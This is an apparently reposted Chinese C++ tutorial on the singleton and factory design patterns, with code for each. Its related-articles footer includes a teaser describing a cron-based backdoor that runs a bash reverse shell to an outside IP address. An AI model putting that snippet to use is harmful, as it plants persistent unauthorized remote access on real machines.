【C++】 设计模式(单例模式、工厂模式)

news2024/11/28 6:42:40

文章目录

    • 设计模式
      • 概念
      • 单例模式
        • 懒汉式
          • 方法一
          • 方法二
          • 总结
        • 饿汉式
        • 单例模式的优点
      • 工厂模式
        • 概念
        • 简单工厂
        • 工厂方法
        • 抽象工厂
        • 三种工厂方法的总结

设计模式

概念

设计模式是由先人总结的一些经验规则,被我们反复使用后、被多数人知晓认可的、然后经过分类编排,形成了一套针对代码设计经验的总结,设计模式主要是为了解决某类重复出现的问题而出现的一套成功或有效的解决方案,设计模式的出现提高代码可复用性、扩展性、可维护性、灵活性、稳健性以及安全可靠性的解决方案。

设计模式一般分为3大类创建型模式结构型模式行为型模式,共计23种。

设计模式的本质是面向对象设计原则的实际运用,是对类的封装性、继承性和多态性以及类的纵、横关系的充分理解。

值得注意的是:设计模式只是一个程序设计指导思想,在具体的程序设计开发中,必须根据设计的应用系统的特点和要求来适当的选择,而不是一味地追求设计模式,否则可能过犹不及。

单例模式

单例模式(Singleton Pattern):属于创建型模式,3个要点:

  1. 当前的类最多只能创建一个对象(实例)
  2. 这个唯一的实例,由当前类创建
  3. 需要提供公共的接口,在整个系统中都可以访问。

写一个单例:

先把类名写出来

#include<iostream>
using namespace std;

class CSingleton {

};
int main(){

return 0;
}

单例分为两种:懒汉式:现用现创建 饿汉式:提前创建

懒汉式

方法一

先写懒汉式

首先我们要满足单例模式的第一个要点,只能创建一个对象,那么如果我们不加以限制,我们想创建多少个对象都可以,所以要怎么去限制呢

因为我们在创建对象的时候自动调用默认的无参构造函数(public),所以如果将构造函数改为私有的,那么就不能在类外随意创建对象了,只能在类内进行创建

之后我们要提供一个公共的接口

class CSingleton {

	CSingleton(): m_a(0){}
public:
	static CSingleton* GetSingleton() {
		return new CSingleton;
	}
};

现在我们可以保证只能在类内创建对象,然后公共接口也有了

但是这样写还是有问题的,我们第一次调用这个接口会创建一个对象,然后再调用还会创建对象,所以现在是在类外控制住不能多次创建对象了,但是在类内还没有限制住

我们的目标是第一次调用这个函数会创建一个对象,而再去调用这个函数是要返回第一次创建的对象,所以就要用指针去接一下这个对象方便之后操作

在类中创建一个私有的当前类对象的指针

CSingleton* m_psin;

然后在接口函数中判断如果这个指针为空,那就创建一个对象,如果不为空就返回这个指针

CSingleton* GetSingleton() {
		if (!m_psin)
			m_psin = new CSingleton;
		return m_psin;
	}

此时单例模式的三点都已经满足

调试一下,为了方便查看,我们在类内加一个int型成员属性,然后在主函数获取这个接口

那么问题来了,我们没法在类外创建对象,那么怎么去获取这个接口呢

我们想到可以将接口变成静态函数,因为静态函数中只能使用静态成员属性,所以类对象指针也要变成静态的,然后通过类名作用域去调用

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jZNjwGCq-1684647327941)(C++.assets/image-20230520170930830.png)]

这样就可以在类外去获取这个接口了

	CSingleton* psin1 = CSingleton::GetSingleton();
	CSingleton* psin2 = CSingleton::GetSingleton();

然后测试一下获取到的对象是否是同一个对象,看一下两个指针指向的地址,然后再看一下两个指针指向的对象成员是不是同一个

	cout << psin1 << "   " << psin2 << endl;

	psin1->m_a = 11;
	cout << psin2->m_a << endl;

在这里插入图片描述

结果很明显,地址是一样的,并且一个指针更改了对象成员,另一个指针指向的对象中的成员也会改变,所以可以确定当前的类中只有一个对象。

但是这样写真的就能完全保证只创建一个对象了吗,如果我们用一个对象给另一个对象做初始化,那么还是会通过拷贝构造产生新的对象

那么我们可以直接将拷贝构造函数弃用

	CSingleton(const CSingleton&) = delete;

之后我们在用完这个对象我们还要将指针释放回收,我们可以在类外进行回收,但是更理想的办法是和构造函数一样我们在类内创建接口,然后回收的时候调用

所以我们在私有位置创建一个析构函数,那么在类外就不能随意释放指向对象的指针了

然后创建一个接口函数,参数为一个指针的引用,因为这样我们就可以知道在类外是用哪根指针来回收对象的了,如果指向对象的指针不为空,那么回收这跟指针,然后将指向对象的指针和回收时传入的指针都赋空

	static void DestorySingleton(CSingleton*& psin) {
		if (m_psin) {
			delete m_psin;
		}
		psin = m_psin = nullptr;
	}

调用回收接口,并判断指针是否为空

	CSingleton::DestorySingleton(psin1);
	if (!psin1) {
		cout << "回收单例后,这个指针为空了" << endl;
	}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dFxzy2nH-1684647189646)(C++.assets/image-20230520193658333.png)]

那么还有个问题,就是如果我们一直使用这个单例,但最后忘了回收,那就无法释放这块空间了,我们能不能有个什么方法用来保底,最后一定会释放掉这块空间

我们在类中嵌套定义一个静态的类,并对他命名,作为单例类的成员属性,因为是静态的,所以在类外进行定义

	static class Destory {} m_destory;

因为这个类是单例类里面的,并且成员属性也是单例类里面的,所以在定义的时候要这么去定义:

CSingleton::Destory CSingleton::m_destory;//类外定义

我们就利用这个类的静态全局性,在这个类里面的析构函数回收掉单例类创建的对象空间

	static class Destory {
    public:
		~Destory() {
			if (m_psin) {
				delete m_psin;
			}
			m_psin = nullptr;
		}
	} m_destory;

这样就算我们不去手动回收单例,在程序结束时也会自动回收了 ,原理就是类中静态的对象最后会由编译器去回收,然后会默认调用这个嵌套类中的析构,然后我们在这个类的里面回收外层类中对象的空间

那么我们这个懒汉式单例写到这里就基本结束了,还有一点小小的问题现在还解决不了,就是在判断new创建单例的时候,在单线程下绝对是没有问题的,不过如果是多线程就不一定了,所谓多线程就是同时多个人去走这个代码,或者说是走这个判断,再去创建对象,就有可能创建出来多个对象,这个问题在以后学多线程的时候再去解决

解决方法就是加锁和解锁

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ml4RYPVV-1684647189646)(C++.assets/image-20230520204538152.png)]

方法二

第二种方法就是在创建对象的时候不去创建空间用指针接,而是直接创建一个静态局部对象,然后将地址返回,那么既然没有创建额外空间,就不用析构函数释放了

静态局部对象的特点就是只有第一次创建的时候会真正创建,后期在创建的时候就是直接使用第一次创建的对象

class CSingleton {

	CSingleton() : m_a(0) { /*cout << __FUNCTION__ << endl;*/ }
	CSingleton(const CSingleton&) = delete;  //弃用 拷贝构造函数
	~CSingleton() {}
public:
	//问题:在多线程下 可能会创建出来多个对象
	static CSingleton* GetSingleton() {
		static CSingleton sin;  //静态局部对象
		return &sin;
	}

	int m_a;
};
总结

这两种方法各有各的优缺点,

第二种方法的优点很明显,首先就是不需要考虑回收,而且不会有多线程下可能创建多个对象的问题

第一种方法的优点在于因为他的对象是new出来的,所以支持在运行过程中随时去回收,而第二种方法只能等到程序退出时资源才会被系统回收

饿汉式

就是将获取对象接口中的创建对象提取出来,让他只是获取对象,然后将静态局部对象尝试放在类中,作为一个类成员,而不是放在类中的函数中

不能舍弃静态直接在类内创建类的对象,这就像函数自己调用自己,会进入到死循环,计算空间的时候没有截至条件;可以定义静态对象是因为静态对象的属性不管是当前类的还是自己类的都不是属于类对象的,所以计算空间的时候不用算它,就可以计算出来具体空间大小

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-G9lIrTHG-1684647189646)(C++.assets/image-20230520215420763.png)]

这样就做到了提前创建

做一个测试看构造函数的调用在主函数之前还是之后,所以主函数中先输出一条分割线,然后构造函数中输出对应的函数名,看函数名在分割线的前后即可

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Okjt1Nk8-1684647189646)(C++.assets/image-20230520215711981.png)]

确实在主函数之前就调用构造函数了

这种方式也不会出现多线程创建多个对象的错误,并且不用创建析构回收额外空间

单例模式的优点

我们可以在任务管理器中看到单例模式的影子,就是一个程序的exe如果不通过特殊手段,只会打开一个,那可以打开多个文件夹管理器就有种多线程的感觉

从单例的单字可以看出来,严格保证了这个东西只能有一个,相对来说会节省空间,再就是他的创建和销毁相对来说没那么随意,比较严格,只能用提供的方法,所以跟一般的实例来比安全性比较高

那么优点就是:

  1. 单例模式提供了严格的对唯一实例的创建、访问和销毁,安全性高。
  2. 单例模式的实现可以节省系统资源。

工厂模式

概念

工厂模式(Factory Pattern):也是创建模式,主要用来集中创建对象的,如果在任何使用的地方创建对象那就造成了类或方法之间的耦合,如果要更换对象那么在所有使用到的地方都要修改一遍,不利于后期的维护,也违背了开闭设计原则,如果使用工厂模式来创建对象,那么就彻底解耦合了,如果要修改只需要修改工厂类即可。工厂模式最大的优势:解耦。

耦合的意思就是我直接用你的,你有改动我这边也会有改动,在一个函数中直接通过名字去调用另一个函数,这其实就是一个直接的耦合,如果通过传参传一个函数指针,这样就是解耦

简单工厂

这里要通过一些例子说明

车和发动机之间,现在有产品发动机类作为父类,然后子类有2L发动机和2T发动机,然后创建一个汽车类,因为汽车和发动机为包含关系,汽车也不能离开发动机,发动机也不能离开汽车,所以他们的关系为组合,所以在汽车类里面添加一个发动机类的对象,然后创建出构造函数,为了使对象更灵活一些,要再创建一个带参构造,参数为一个标识,用以区分判断发动机类别,然后创建一个汽车运行的方法,并且写出构造析构函数用来回收成员属性的额外空间。

class CEngine {
public:
	virtual void working() = 0;
};

class CEngine2L:public CEngine{
	virtual void working() {
		cout << "2.0自然吸气发动机正在工作" << endl;
	}
};

class CEngine2T :public CEngine {
	virtual void working() {
		cout << "2.0涡轮增压发动机正在工作" << endl;
	}
};

class CCar {
public:
	CEngine* m_pEngine;

	CCar():m_pEngine(new CEngine2L){
		
	}
	CCar(string & type) {
		if (type == "2.0L") {
			m_pEngine = new CEngine2L;
		}
		else if(type == "2.0T"){
			m_pEngine = new CEngine2T;
		}
		else {
			m_pEngine = nullptr;
		}
	}
    
	void drive() {
		if (m_pEngine) {
			m_pEngine->working();
			cout << "我的小汽车正在呜呜的跑~~~~" << endl;
		}
	}
	~CCar() {
		if (m_pEngine)
			delete m_pEngine;
		    m_pEngine = nullptr;
	}
};

最后在主函数中创建车的对象,然后调用驾驶的方法。如果没有学过工厂模式的话,面对这样的需求我们就是这么写的

那么现在知道了耦合解耦的思想之后,我们会发现这个代码不太好,如果发动机产生改动的话(比如类名做修改,或者构造函数增加参数了),那么在汽车类中给成员属性创建空间对象的时候也要做修改

接下来我们去解耦,把工厂引入进来

我们创建一个工厂类,然后在工厂里面创建发动机,创建的方法可以参考车类中的有参构造,传入一个类型,然后返回一个发动机类指针,然后在函数中做判断

最后在车类中再写一个带参构造,参数为工厂类指针和发动机标识,然后如果有工厂,那么工厂去创建一个发动机返回给发动机类指针,如果没有工厂,返回空即可

class CFactoryEngine {
public:
	CEngine* CreateEngine(string& type) {
		if (type == "2.0L") {
			return new CEngine2L;
		}
		else if (type == "2.0T") {
			return new CEngine2T;
		}
		else {
			return nullptr;
		}
	}
};
	CCar(CFactoryEngine* pFac, string& type) :m_pEngine(pFac ? pFac->CreateEngine(type) : nullptr) {

	}

这样我们发现,我们并没有在汽车类里面直接使用发动机类,而是通过工厂创建发动机,那么如果发动机类有什么变动,这里也不用有什么改动

接着我们去主函数中测试一下,先要创建一个工厂对象,然后将工厂的地址和发动机标识在创建车子的时候传入进去,注意在传参的时候不能直接传入字符串,我们写的是一个引用,要在外面先把对象定义出来

	CFactoryEngine fac;
	string s = "2.0T";
	CCar benz(&fac,s);
	benz.drive();
	
	string s1 = "2.0L";
	CCar bmw(&fac, s1);
	bmw.drive();

这就是一个简单工厂

工厂方法

简单工厂写的代码虽然没什么毛病,但是会有一些功能上的问题,就是如果产品的种类有增加或减少,工厂里面的逻辑就要有修改,那么工厂类里面的代码就会增加减少,违背了开闭原则(扩展支持,修改关闭)

所以在这个缺点的基础上,提出了工厂方法,把工厂再分出来几个子工厂,用具体工厂来创建具体产品

这样如果增加新的产品,总工厂不用做任何改动,只需要增加子工厂即可

class CFactoryEngine {
public:
	virtual CEngine* CreateEngine() = 0;
};

class CFactory2L :public CFactoryEngine {
	virtual CEngine* CreateEngine() {
		return new CEngine2L;
	}
};

class CFactory2T :public CFactoryEngine {
	virtual CEngine* CreateEngine() {
		return new CEngine2T;
	}
};

在车子类里的构造函数就不用再传递发动机标识了,可以直接根据传递的工厂对象不同来决定创建发动机的种类

	CCar(CFactoryEngine* pFac) :m_pEngine(pFac ? pFac->CreateEngine() : nullptr) {}

主函数中实现:

	CFactoryEngine* pFac2T = new CFactory2T;
	CFactoryEngine* pFac2L = new CFactory2L;

	CCar benz(pFac2T);
	benz.drive();

	CCar benz2(pFac2L);
	benz2.drive();

模型图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cuvbER69-1684647189647)(C++.assets/image-20230521131224661.png)]

类图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4KTt68Es-1684647189647)(C++.assets/image-20230521131257500.png)]

工厂方法模式每个子类工厂对应一个具体类型的对象,比如CFactoryEngine2L对应CEngine2L对象,遵循了开闭原则,提高了开闭原则,提高了扩展性(如果增加了新的类型的发动机那么原有的发动机工厂不用改动),如果对象种类较多,那么一个都要对应一个工厂,需要大量的工厂得不偿失。

抽象工厂

抽象工厂(Abstract Factory Pattern)和工厂方法的模式基本一样,区别在于,工厂方法是生产一个具体的产品,而抽象工厂可以用来生产一组相同,有相对关系的产品,重点在于一组,一批,一系列。

模型图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vwjTOyzI-1684647189647)(C++.assets/image-20230521131802218.png)]

类图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cTcy27Nd-1684647189647)(C++.assets/image-20230521131826544.png)]

一系列产品,如:发动机和变速箱:

class CEngine {
public:
	virtual void working() = 0;
};

class CEngine2L:public CEngine{
	virtual void working() {
		cout << "2.0自然吸气发动机正在工作" << endl;
	}
};

class CEngine2T :public CEngine {
	virtual void working() {
		cout << "2.0涡轮增压发动机正在工作" << endl;
	}
};

class CGearbox {
public:
	virtual void working() = 0;
};

class CGearboxManual :public CGearbox {
	virtual void working() {
		cout << "手动变速箱正在工作" << endl;
	}
};

class CGearboxAuto :public CGearbox {
	virtual void working() {
		cout << "自动变速箱正在工作" << endl;
	}
};

抽象工厂类:

class CFactory {
public:

	virtual CGearbox* CreateGearbox() = 0;

	virtual CEngine* CreateEngine() = 0;
};

class CFactory2TManual :public CFactory {
	virtual CGearbox* CreateGearbox() {
		return new CGearboxManual;
	}

	virtual CEngine* CreateEngine() {
		return new CEngine2T;
	}
};

在汽车类中要创建发动机与变速箱的对象,然后在构造函数中设置参数为工厂类指针,然后给发动机和变速箱初始化的时候就用这跟指针调用相应的创建函数

汽车行驶函数中要先判断发动机与变速箱是否存在,然后他们去调用各自的运行函数,最终在析构函数里将两个对象回收

class CCar {
public:
	CEngine* m_pEngine;
	CGearbox* m_pGearbox;

	CCar(CFactory* pFac) :m_pGearbox(pFac ? pFac->CreateGearbox() : nullptr),
		m_pEngine(pFac ? pFac->CreateEngine() : nullptr) {

	}

	void drive() {
		if (m_pEngine&&m_pGearbox) {
			m_pEngine->working();
			m_pGearbox->working();
			cout << "我的小汽车正在呜呜的跑~~~~" << endl;
		}
	}
	~CCar() {
		if (m_pGearbox)
			delete m_pGearbox;
		m_pGearbox = nullptr;

		if (m_pEngine)
			delete m_pEngine;
		m_pEngine = nullptr;
	}

};

在主函数中使用的时候就先将发动机与变速箱的组合对象用工厂类指针指向,然后在创建汽车对象的时候将这个指针传入参数,汽车就可以根据想要的组合创建出来了,然后可以调用行驶函数

	CFactory* pFac = new CFactory2TManual;
	CCar benz(pFac);
	benz.drive();

对于具体工厂类可以根据需求自由组合,如需求增加CEngine2L和CGearboxAuto的组合,则新建工厂类CFactory2LAuto即可。

三种工厂方法的总结

  1. 对于简单工厂和工厂方法来说,两者的使用方式实际上是一样的,如果对于产品的分类和名称是确定的,数量是相对固定的,推荐使用简单工厂模式。
  2. 抽象工厂用来解决相对复杂的问题,适用于一些列、大批量的对象生产。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/550938.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

内网渗透之Linux权限维持-Rootkit后门Strace监控Alias别名Cron定时任务

0x01-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1.编辑后门反弹 vim /etc/.xiaodi.sh #!/bin/bash bash -i >& /dev/tcp/47.94.236.117/3333 0>&1chmod x /etc/.1.sh2.添加定时任务 vim /etc/crontab */1 * * * * root /etc/.1.sh3.kali nc开启…

真题详解(语法分析输入记号流)-软件设计(八十)

真题详解&#xff08;求叶子结点数&#xff09;-软件设计&#xff08;七十九)https://blog.csdn.net/ke1ying/article/details/130787349?spm1001.2014.3001.5501 极限编程XP最佳实践&#xff1a; 测试先行、 按日甚至按小时为客户提供可运行的版本。 组件图的 插座 和插头…

基于 SpringBoot + VUE 【爱音乐管理系统】 平台设计与实现

免费领取源码参考论文 基于SpringBoot VUE 【爱音乐管理系统】 博主介绍&#xff1a; &#x1f680;自媒体 JavaPub 独立维护人&#xff0c;全网粉丝25w&#xff0c;csdn博客专家、java领域优质创作者&#xff0c;前51ctoTOP10博主&#xff0c;知乎/掘金/华为云/阿里云/InfoQ等…

017+C语言中函数栈帧的创建与销毁(VS2022环境)

0.前言 您好&#xff0c;这里是limou3434的一篇个人博文&#xff0c;感兴趣的话您也可以看看我的其他文章。本次我将和您一起学习在C语言中函数栈帧的概念。 1.学习函数栈帧的意义 局部变量是怎么穿创建的&#xff1f;为什么局部变量的值是随机的函数是怎么传参的&#xff1…

【Hadoop】四、Hadoop生态综合案例 ——陌陌聊天数据分析

文章目录 四、Hadoop生态综合案例 ——陌陌聊天数据分析1、陌陌聊天数据分析案例需求1.1、背景介绍1.2、目标需求1.3、数据内容 2、基于Hive数仓实现需求开发2.1、建库建表、加载数据2.2、ETL数据清洗2.3、需求指标统计 3、FineBI实现可视化报表3.1、FineBI的介绍及安装3.2、Fi…

CaDDN 论文学习

1. 解决了什么问题&#xff1f; 单目 3D 目标检测是自动驾驶的重要课题&#xff0c;与一般的多传感器系统相比&#xff0c;它具有简洁、成本低、易部署的优点。单目 3D 检测的主要挑战在于能否准确预测目标的深度。由于缺乏直接的测量手段&#xff0c;我们只能从目标和场景信息…

JavaWeb15 - 线程数据共享和安全 -ThreadLocal

1. 什么是 ThreadLocal ThreadLocal 的作用&#xff0c;可以实现在同一个线程数据共享, 从而解决多线程数据安全问题.ThreadLocal 可以给当前线程关联一个数据(普通变量、对象、数组)set 方法 [源码!]ThreadLocal 可以像 Map 一样存取数据&#xff0c;key 为当前线程, get 方法…

无屏幕时树莓派连接wifi

这种方式需要使用到1根网线有线连接&#xff0c;需要提前准备~ 按照以下步骤操作&#xff1a;   找到wifi然后右键选择“属性”&#xff0c;进入配置页面&#xff1a;   勾选“允许其他网络用户通过此计算机的internet连接”&#xff0c;然后确定&#xff0c;它会提示你…

论文阅读_语音合成_Spear-TTS

论文信息 number headings: auto, first-level 2, max 4, _.1.1 name_en: Speak, Read and Prompt: High-Fidelity Text-to-Speech with Minimal Supervision name_ch: 说话、阅读和提示&#xff1a;少量监督实现高保真文本转语音 paper_addr: http://arxiv.org/abs/2302.0354…

操作系统理解 什么事件可以造成进程的产生和消亡呢?当然有很多这样的事件。对于进程产生来说,主要的事件有:造成进程消亡的事件则可以分为四种情况:

目录 什么事件可以造成进程的产生和消亡呢&#xff1f;当然有很多这样的事件。对于进程产生来说&#xff0c;主要的事件有&#xff1a; 造成进程消亡的事件则可以分为四种情况&#xff1a; 好好理解计算机是人造的&#xff0c;这句话的含义&#xff0c;特别是计算机这是西方人…

【ChatGPT】人工智能发展的背后厉害:跌宕起伏的近百年

文章目录 前言一、麦卡洛克-皮特斯神经元二、赫布式学习三、感知机四、反向传播算法五、卷积神经网络六、递归神经网络七、通用计算GPU芯片八.生成式神经网络与大型语言模型总结 前言 今天&#xff0c;ChatGPT等大型语言预训练神经网络模型已经成为广为人知的名字&#xff0c;…

算法笔记:A2-A4-RSRQ切换算法

1 LTE 切换 LTE切换是移动通信网络中的一个过程&#xff0c;移动设备在保持无间断服务的情况下&#xff0c;将其连接从一个基站切换到另一个基站。当移动设备离开当前基站的覆盖范围或网络资源拥塞时&#xff0c;就需要进行切换。LTE切换通常是基于特定的条件触发的&#xff0…

Ansys Lumerical | FDTD 应用:设计光栅耦合器

本文将设计一个光栅耦合器&#xff0c;将光子芯片表面上的单模光纤连接到集成波导。内置粒子群优化工具用于最大化耦合效率&#xff0c;并使用组件S参数在 INTERCONNECT 中创建紧凑模型。还演示了如何使用 CML 编译器提取这些参数以生成紧凑模型。&#xff08;联系我们获取文章…

第十章 Productions最佳实践 - 路由Production的设计模型

文章目录 第十章 Productions最佳实践 - 路由Production的设计模型配置项应用规范 第十章 Productions最佳实践 - 路由Production的设计模型 本章介绍了客户成功用于构建接口路由解决方案的设计模型。因此&#xff0c;它可以被认为是开发路由制作的最佳实践的集合。 本章仅介…

Go colly爬虫框架精简高效【杠杠的】入门到精通

1 前言 1.1 Go Colly 爬虫介绍 爬虫框架中&#xff0c;各中流行的编程语言都有自己热门框架&#xff0c;python中的selenium、Scrapy、PySpider等&#xff0c;Java中的Nutch、Crawler4j、WebMagic、WebCollector等。golang中colly使用Go语言编写的功能强大的爬虫框架&#xf…

cpp11实现线程池(七)——线程池cached模式设计实现

用vector::size() 获取当前容器元素数量不是线程安全的&#xff0c;所以采用atomic_int 来实现当前容器元素数量的改变能够保证线程安全 线程池成员变量的修改 添加变量记录当前线程数量、空闲线程数量&#xff0c;以及线程数的上限&#xff1a; int threadSizeThreshHold_; …

由浅入深Netty源码分析

目录 1 启动剖析2 NioEventLoop 剖析3 accept 剖析4 read 剖析 1 启动剖析 我们就来看看 netty 中对下面的代码是怎样进行处理的 //1 netty 中使用 NioEventLoopGroup &#xff08;简称 nio boss 线程&#xff09;来封装线程和 selector Selector selector Selector.open();…

Trie与可持久化Trie

Trie Trie&#xff0c;也称为字典树或前缀树&#xff0c;是一种用于高效存储和检索字符串的树形数据结构。它的主要特点是利用字符串的公共前缀来减少存储空间和提高查询效率。下面是对 Trie 的常见操作的介绍&#xff1a; 插入&#xff08;Insertion&#xff09;&#xff1a…

PETRv2 论文学习

1. 解决了什么问题&#xff1f; 过去&#xff0c;一般使用基于单目视觉进行 3D 目标检测。现在进行 3D 任务的方法大致分两类。一类是基于 BEV&#xff0c;将多视角图像映射为 BEV 表征&#xff0c;然后使用 3D 目标检测方法。另一类是基于 DETR&#xff0c;如 DETR3D 和 PETR…

xhs-xs webmsxywx分析

近期又更新了&#xff0c;先是改了x-s生成&#xff0c;然后又加上了a1校验。 后面可能会全参校验&#xff0c;比如再加上gid、deviceId、profileData、x-s-common、smidV2之类。 估计以后不能写xhs了&#xff0c;大家且看且珍惜吧。之前相关的文章都被下架了 危&#xff01;…